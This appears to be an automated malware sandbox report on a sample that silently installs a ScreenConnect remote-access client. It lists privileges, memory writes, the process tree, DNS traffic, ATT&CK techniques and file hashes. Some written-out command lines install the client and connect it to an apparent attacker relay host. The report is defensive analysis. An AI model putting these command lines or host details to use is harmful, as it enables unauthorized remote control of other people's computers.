Token: SeLockMemoryPrivilege	5100	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5100	msiexec.exe
Token: SeMachineAccountPrivilege	5100	msiexec.exe
Token: SeTcbPrivilege	5100	msiexec.exe
Token: SeSecurityPrivilege	5100	msiexec.exe
Token: SeTakeOwnershipPrivilege	5100	msiexec.exe
Token: SeLoadDriverPrivilege	5100	msiexec.exe
Token: SeSystemProfilePrivilege	5100	msiexec.exe
Token: SeSystemtimePrivilege	5100	msiexec.exe
Token: SeProfSingleProcessPrivilege	5100	msiexec.exe
Token: SeIncBasePriorityPrivilege	5100	msiexec.exe
Token: SeCreatePagefilePrivilege	5100	msiexec.exe
Token: SeCreatePermanentPrivilege	5100	msiexec.exe
Token: SeBackupPrivilege	5100	msiexec.exe
Token: SeRestorePrivilege	5100	msiexec.exe
Token: SeShutdownPrivilege	5100	msiexec.exe
Token: SeDebugPrivilege	5100	msiexec.exe
Token: SeAuditPrivilege	5100	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5100	msiexec.exe
Token: SeChangeNotifyPrivilege	5100	msiexec.exe
Token: SeRemoteShutdownPrivilege	5100	msiexec.exe
Token: SeUndockPrivilege	5100	msiexec.exe
Token: SeSyncAgentPrivilege	5100	msiexec.exe
Token: SeEnableDelegationPrivilege	5100	msiexec.exe
Token: SeManageVolumePrivilege	5100	msiexec.exe
Token: SeImpersonatePrivilege	5100	msiexec.exe
Token: SeCreateGlobalPrivilege	5100	msiexec.exe
Token: SeCreateTokenPrivilege	5100	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5100	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5100	msiexec.exe
5100	msiexec.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 5100	4764	Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe	83
PID 4764 wrote to memory of 5100	4764	Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe	83
PID 4764 wrote to memory of 5100	4764	Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe	83
PID 4952 wrote to memory of 4160	4952	msiexec.exe	86
PID 4952 wrote to memory of 4160	4952	msiexec.exe	86
PID 4952 wrote to memory of 4160	4952	msiexec.exe	86
PID 4160 wrote to memory of 4860	4160	MsiExec.exe	87
PID 4160 wrote to memory of 4860	4160	MsiExec.exe	87
PID 4160 wrote to memory of 4860	4160	MsiExec.exe	87
PID 4952 wrote to memory of 736	4952	msiexec.exe	103
PID 4952 wrote to memory of 736	4952	msiexec.exe	103
PID 4952 wrote to memory of 5112	4952	msiexec.exe	105
PID 4952 wrote to memory of 5112	4952	msiexec.exe	105
PID 4952 wrote to memory of 5112	4952	msiexec.exe	105
PID 4952 wrote to memory of 2008	4952	msiexec.exe	106
PID 4952 wrote to memory of 2008	4952	msiexec.exe	106
PID 4952 wrote to memory of 2008	4952	msiexec.exe	106
PID 1684 wrote to memory of 2032	1684	ScreenConnect.ClientService.exe	108
PID 1684 wrote to memory of 2032	1684	ScreenConnect.ClientService.exe	108
PID 1684 wrote to memory of 2600	1684	ScreenConnect.ClientService.exe	111
PID 1684 wrote to memory of 2600	1684	ScreenConnect.ClientService.exe	111

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe
"C:\Users\Admin\AppData\Local\Temp\Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\484f9eed1d8e13b9\ScreenConnect.ClientSetup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:5100

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4952
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 28ADF0371DEDB66ACC307D08C37072AE C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7F90.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240616234 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4860
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:736
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EB69248C80CA9C559A25E5F6991F9F86
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5112
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EB2C35879BC3B28F59C73A0DA33DF571 E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2008

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4040

C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=slplegalfinance.com&p=443&s=50e7fa5f-a88d-4b97-8e23-8be133002a79&k=BgIAAACkAABSU0ExAAgAAAEAAQDVyeZoBLn8WdM6xWDr4b0uAsUBfhP2EJOSdZugmbrUWVWehsUh2LvfCfwDYGcJBhcBEWS%2fDmahaCPw1tkv%2f%2bw18TIjThn%2bQ%2feZavwugcHDfdkaqKi0LnYdddcCsozuL7%2bVQevv9snFAHOiSjLD7xdNlPMSw%2bw682fIJIkr8XbdhPPukmg4Ksp6Kf1Xba7KkmNnwSS1MRXckDb%2f1hQrUI%2fSZZdGbJvZ3tc%2f3CR0LXLnGeCLG7Dt5iRIHwzJf5XuTInHiPesoO6bSk%2bUfoeCYO3BjvU6pRL6UKY08mjZ7e%2b6FOQb4acTm6QTR9K%2fsvFdvWQ%2br7EyKwXpSy6iTh4x7%2f%2bv"
1⤵
- Sets service image path in registry
- Drops file in System32 directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe" "RunRole" "fe144756-d827-412a-8dc4-86c7300f129c" "User"
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe" "RunRole" "877e564e-1dc7-4293-b280-8d9cf6627584" "System"
  2⤵
  - Drops file in System32 directory
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:2600

Network

DNS

58.55.71.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

58.55.71.13.in-addr.arpa

IN PTR

Response
DNS

134.32.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

134.32.126.40.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

57.110.18.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

57.110.18.2.in-addr.arpa

IN PTR

Response

57.110.18.2.in-addr.arpa

IN PTR

a2-18-110-57deploystaticakamaitechnologiescom
DNS

97.17.167.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

97.17.167.52.in-addr.arpa

IN PTR

Response
DNS

slplegalfinance.com

ScreenConnect.ClientService.exe

Remote address:

8.8.8.8:53

Request

slplegalfinance.com

IN A

Response

slplegalfinance.com

IN A

185.143.228.176
DNS

176.228.143.185.in-addr.arpa

Remote address:

8.8.8.8:53

Request

176.228.143.185.in-addr.arpa

IN PTR

Response
DNS

50.23.12.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

50.23.12.20.in-addr.arpa

IN PTR

Response
DNS

206.23.85.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

206.23.85.13.in-addr.arpa

IN PTR

Response
DNS

172.214.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.214.232.199.in-addr.arpa

IN PTR

Response
DNS

21.236.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

21.236.111.52.in-addr.arpa

IN PTR

Response

185.143.228.176:443

slplegalfinance.com

https

ScreenConnect.ClientService.exe

8.7kB
760 B
17
12

8.8.8.8:53

58.55.71.13.in-addr.arpa

dns

70 B
144 B
1
1

DNS Request

58.55.71.13.in-addr.arpa
8.8.8.8:53

134.32.126.40.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

134.32.126.40.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

57.110.18.2.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

57.110.18.2.in-addr.arpa
8.8.8.8:53

97.17.167.52.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

97.17.167.52.in-addr.arpa
8.8.8.8:53

slplegalfinance.com

dns

ScreenConnect.ClientService.exe

65 B
81 B
1
1

DNS Request

slplegalfinance.com

DNS Response

185.143.228.176
8.8.8.8:53

176.228.143.185.in-addr.arpa

dns

74 B
130 B
1
1

DNS Request

176.228.143.185.in-addr.arpa
8.8.8.8:53

50.23.12.20.in-addr.arpa

dns

70 B
156 B
1
1

DNS Request

50.23.12.20.in-addr.arpa
8.8.8.8:53

206.23.85.13.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

206.23.85.13.in-addr.arpa
8.8.8.8:53

172.214.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.214.232.199.in-addr.arpa
8.8.8.8:53

21.236.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

21.236.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e57b6fd.rbs

Filesize
214KB

MD5
74910076ed49074c7d5f93c2120135fa

SHA1
e4eaf168f5f8aa0e5d3a8db6d67af0e680190436

SHA256
0676552910a677b14b2eb8d3bc33f2acccabab5e10aec47133a31a5efab7916c

SHA512
ac825c1a7e5390edc7f9d521b7a45721c432161a08820d84fdacfdabb2fbabb0737eddc53fe24af6b8fad1a0de0a97fdcd61e2ed481b92fae6e8ee1fda7ba255

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.Override.en-US.resources

Filesize
347B

MD5
ec6bad264881a1ae9d05f73712399809

SHA1
a7921b44d20ed663d486210c0775c96c45c08f7b

SHA256
5748a4bb4cc8e1e9bb3832e1f9e8914038a1b97d2c7523ec342e596317208fb8

SHA512
ed77cafa64fe224cb11718ce26906ed807eeb49b2d59e359a7ab0196ce3dbb177663f91e116354e56c6b2441d091a0a07f71413723b7f8dec1cb946fa2045e64

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.Override.resources

Filesize
5KB

MD5
6f99b6e5484b5785ab7bf8e46882205a

SHA1
8304a40796e3aa805f96f9ab6fcac2e5a9676c6e

SHA256
e15e9d01d8049ff1e1b01e8e9845df20a4c80a9cf883aa84e0e407a2d865b8e3

SHA512
56226014f2c00c062d7505687b2166ca2da905fc921e292eaedd95dc1fb9ad093eb9d1f657f7ba45b32e6040ee09361fb14535f6d0bf4e19fabf6b19942d928d

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.en-US.resources

Filesize
48KB

MD5
d524e8e6fd04b097f0401b2b668db303

SHA1
9486f89ce4968e03f6dcd082aa2e4c05aef46fcc

SHA256
07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4

SHA512
e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.resources

Filesize
26KB

MD5
5cd580b22da0c33ec6730b10a6c74932

SHA1
0b6bded7936178d80841b289769c6ff0c8eead2d

SHA256
de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c

SHA512
c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.Client.dll

Filesize
192KB

MD5
3724f06f3422f4e42b41e23acb39b152

SHA1
1220987627782d3c3397d4abf01ac3777999e01c

SHA256
ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f

SHA512
509d9a32179a700ad76471b4cd094b8eb6d5d4ae7ad15b20fd76c482ed6d68f44693fc36bcb3999da9346ae9e43375cd8fe02b61edeabe4e78c4e2e44bf71d42

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.dll

Filesize
66KB

MD5
5db908c12d6e768081bced0e165e36f8

SHA1
f2d3160f15cfd0989091249a61132a369e44dea4

SHA256
fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca

SHA512
8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.exe

Filesize
93KB

MD5
75b21d04c69128a7230a0998086b61aa

SHA1
244bd68a722cfe41d1f515f5e40c3742be2b3d1d

SHA256
f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e

SHA512
8d51b2cd5f21c211eb8fea4b69dc9f91dffa7bb004d9780c701de35eac616e02ca30ef3882d73412f7eab1211c5aa908338f3fa10fdf05b110f62b8ecd9d24c2

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsAuthenticationPackage.dll

Filesize
254KB

MD5
5adcb5ae1a1690be69fd22bdf3c2db60

SHA1
09a802b06a4387b0f13bf2cda84f53ca5bdc3785

SHA256
a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5

SHA512
812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe

Filesize
588KB

MD5
1778204a8c3bc2b8e5e4194edbaf7135

SHA1
0203b65e92d2d1200dd695fe4c334955befbddd3

SHA256
600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31

SHA512
a902080ff8ee0d9aeffa0b86e7980457a4e3705789529c82679766580df0dc17535d858fbe50731e00549932f6d49011868dee4181c6716c36379ad194b0ed69

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe.config

Filesize
266B

MD5
728175e20ffbceb46760bb5e1112f38b

SHA1
2421add1f3c9c5ed9c80b339881d08ab10b340e3

SHA256
87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077

SHA512
fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsCredentialProvider.dll

Filesize
822KB

MD5
be74ab7a848a2450a06de33d3026f59e

SHA1
21568dcb44df019f9faf049d6676a829323c601e

SHA256
7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d

SHA512
2643d649a642220ceee121038fe24ea0b86305ed8232a7e5440dffc78270e2bda578a619a76c5bb5a5a6fe3d9093e29817c5df6c5dd7a8fbc2832f87aa21f0cc

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\app.config

Filesize
951B

MD5
a86edeabe4f506104c9b4a70ec058203

SHA1
90f2c46b4c7ea592ee2027cbe85239878b21cd65

SHA256
1559ff67fb04a2deb98a1733d1e1b61dd48d406cf70a0a1d2f386ee65acd805e

SHA512
b5261e93d9dd436b885661e57aa2f75654b50675ddf8dea06aef0db0e02ad9194a80dffab93a7fdc10b20eb1a1af36e80e8c4069f7004bd5c69db675ca17dca2

Download Submit
C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\system.config

Filesize
956B

MD5
5beecffffc74f49700d1eac5a1ac5545

SHA1
f7ffbdc8e37a62b480ddd3d04a52f8a3418d5f20

SHA256
257fa1ff9f14e80025acbea5ceb1ee308c32a948289361f8dcda666c82b8fb82

SHA512
b0e447c5062116e2b1f6ab5e619d095b63e85076f83e912bf038ceb6dc7984f0e5ff0ff26ffabe5abd5cceae498b1562eb63784a8c019551faad3b828fefbc85

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI7F90.tmp

Filesize
1.0MB

MD5
8a8767f589ea2f2c7496b63d8ccc2552

SHA1
cc5de8dd18e7117d8f2520a51edb1d165cae64b0

SHA256
0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b

SHA512
518231213ca955acdf37b4501fde9c5b15806d4fc166950eb8706e8d3943947cf85324faee806d7df828485597eceffcfa05ca1a5d8ab1bd51ed12df963a1fe4

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI7F90.tmp-\Microsoft.Deployment.WindowsInstaller.dll

Filesize
172KB

MD5
5ef88919012e4a3d8a1e2955dc8c8d81

SHA1
c0cfb830b8f1d990e3836e0bcc786e7972c9ed62

SHA256
3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d

SHA512
4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI7F90.tmp-\ScreenConnect.Core.dll

Filesize
536KB

MD5
14e7489ffebbb5a2ea500f796d881ad9

SHA1
0323ee0e1faa4aa0e33fb6c6147290aa71637ebd

SHA256
a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a

SHA512
2110113240b7d803d8271139e0a2439dbc86ae8719ecd8b132bbda2520f22dc3f169598c8e966ac9c0a40e617219cb8fe8aac674904f6a1ae92d4ac1e20627cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI7F90.tmp-\ScreenConnect.InstallerActions.dll

Filesize
11KB

MD5
73a24164d8408254b77f3a2c57a22ab4

SHA1
ea0215721f66a93d67019d11c4e588a547cc2ad6

SHA256
d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62

SHA512
650d4320d9246aaecd596ac8b540bf7612ec7a8f60ecaa6e9c27b547b751386222ab926d0c915698d0bb20556475da507895981c072852804f0b42fdda02b844

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI7F90.tmp-\ScreenConnect.Windows.dll

Filesize
1.6MB

MD5
9ad3964ba3ad24c42c567e47f88c82b2

SHA1
6b4b581fc4e3ecb91b24ec601daa0594106bcc5d

SHA256
84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0

SHA512
ce557a89c0fe6de59046116c1e262a36bbc3d561a91e44dcda022bef72cb75742c8b01bedcc5b9b999e07d8de1f94c665dd85d277e981b27b6bfebeaf9e58097

Download Submit
C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\484f9eed1d8e13b9\ScreenConnect.ClientSetup.msi

Filesize
12.8MB

MD5
dba166c47f82656c2399f7223de2db3f

SHA1
9cf89a17aef41e2c3bde3761e1769b2831609fdf

SHA256
20e07d53e0f53958d613cb374f001ebdbff95ed2d96f2f46bca286d408662b44

SHA512
b19e49ce816783f04aadf28ab02e0692383c5a5a706ab9c6e7a7329023f5596915fc26b88b1c72c4d68e934f0da61df99dcfe0cce166f62544e6d5245939215c

Download Submit
C:\Windows\Installer\MSIB816.tmp

Filesize
202KB

MD5
ba84dd4e0c1408828ccc1de09f585eda

SHA1
e8e10065d479f8f591b9885ea8487bc673301298

SHA256
3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852

SHA512
7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290

Download Submit
\??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2

Filesize
24.1MB

MD5
6010ff15e9fe4f769ea82d7942e8a201

SHA1
ad9268b68c2107c29d22742d7bc510b432123bbc

SHA256
a4718165b0077efbef865456ce243f89f1500d4443f7dc79ac5c118372a92294

SHA512
059f42300d87820a5796824473cf95c95cc979822a462123cf05d8f75349d50cbec1715240f83aa1e3b021cfb2b286de5ea0303519415c97b3524b5e5636a6c1

Download Submit
\??\Volume{625ed6c4-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{79b90b9a-e0a5-4c7e-9af5-46145d3d8035}_OnDiskSnapshotProp

Filesize
6KB

MD5
d91c298583b8f2879ac19d5a018e87ea

SHA1
f300a7ff70d29479fc41595c1bca0b1cd1e492d4

SHA256
142331f155e6ec5a0ae64b611a4992a1b24551727b499ef6373716c75677ee44

SHA512
788c1dae5f16412579a4c1adfb517590bab9904e1a7ca690a150244a949af8b0df1bdbd193c499e7b89f99dea25d3220a500fa64c35aa4a5311552fb4741ed94

Download Submit
memory/1684-104-0x0000000003910000-0x0000000003928000-memory.dmp

Filesize
96KB

Download
memory/1684-129-0x0000000004030000-0x0000000004102000-memory.dmp

Filesize
840KB

Download
memory/1684-115-0x0000000003B50000-0x0000000003BA0000-memory.dmp

Filesize
320KB

Download
memory/1684-126-0x0000000003DB0000-0x0000000003DF1000-memory.dmp

Filesize
260KB

Download
memory/1684-119-0x0000000003BA0000-0x0000000003BD6000-memory.dmp

Filesize
216KB

Download
memory/1684-124-0x0000000003E50000-0x0000000003EE2000-memory.dmp

Filesize
584KB

Download
memory/2032-151-0x000000001B190000-0x000000001B21C000-memory.dmp

Filesize
560KB

Download
memory/2032-150-0x0000000002550000-0x0000000002586000-memory.dmp

Filesize
216KB

Download
memory/2032-149-0x00000000001D0000-0x0000000000266000-memory.dmp

Filesize
600KB

Download
memory/2032-152-0x000000001B3D0000-0x000000001B57A000-memory.dmp

Filesize
1.7MB

Download
memory/2032-153-0x000000001C630000-0x000000001C7B6000-memory.dmp

Filesize
1.5MB

Download
memory/2032-154-0x0000000002510000-0x0000000002528000-memory.dmp

Filesize
96KB

Download
memory/2032-155-0x0000000002590000-0x00000000025A8000-memory.dmp

Filesize
96KB

Download
memory/4764-2-0x0000000005ED0000-0x00000000061C0000-memory.dmp

Filesize
2.9MB

Download
memory/4764-7-0x0000000006770000-0x0000000006D14000-memory.dmp

Filesize
5.6MB

Download
memory/4764-5-0x0000000001DF0000-0x0000000001E12000-memory.dmp

Filesize
136KB

Download
memory/4764-3-0x0000000005C40000-0x0000000005CCC000-memory.dmp

Filesize
560KB

Download
memory/4764-4-0x00000000753B0000-0x0000000075B60000-memory.dmp

Filesize
7.7MB

Download
memory/4764-8-0x00000000753B0000-0x0000000075B60000-memory.dmp

Filesize
7.7MB

Download
memory/4764-1-0x0000000001C90000-0x0000000001C98000-memory.dmp

Filesize
32KB

Download
memory/4764-6-0x0000000005CD0000-0x0000000005E7A000-memory.dmp

Filesize
1.7MB

Download
memory/4764-0-0x00000000753BE000-0x00000000753BF000-memory.dmp

Filesize
4KB

Download
memory/4764-9-0x00000000753B0000-0x0000000075B60000-memory.dmp

Filesize
7.7MB

Download
memory/4764-10-0x00000000753B0000-0x0000000075B60000-memory.dmp

Filesize
7.7MB

Download
memory/4764-13-0x00000000753B0000-0x0000000075B60000-memory.dmp

Filesize
7.7MB

Download
memory/4860-33-0x0000000004B60000-0x0000000004B8E000-memory.dmp

Filesize
184KB

Download
memory/4860-37-0x0000000004BA0000-0x0000000004BAA000-memory.dmp

Filesize
40KB

Download
memory/4860-41-0x0000000004C40000-0x0000000004CCC000-memory.dmp

Filesize
560KB

Download
memory/4860-45-0x0000000004E80000-0x000000000502A000-memory.dmp

Filesize
1.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.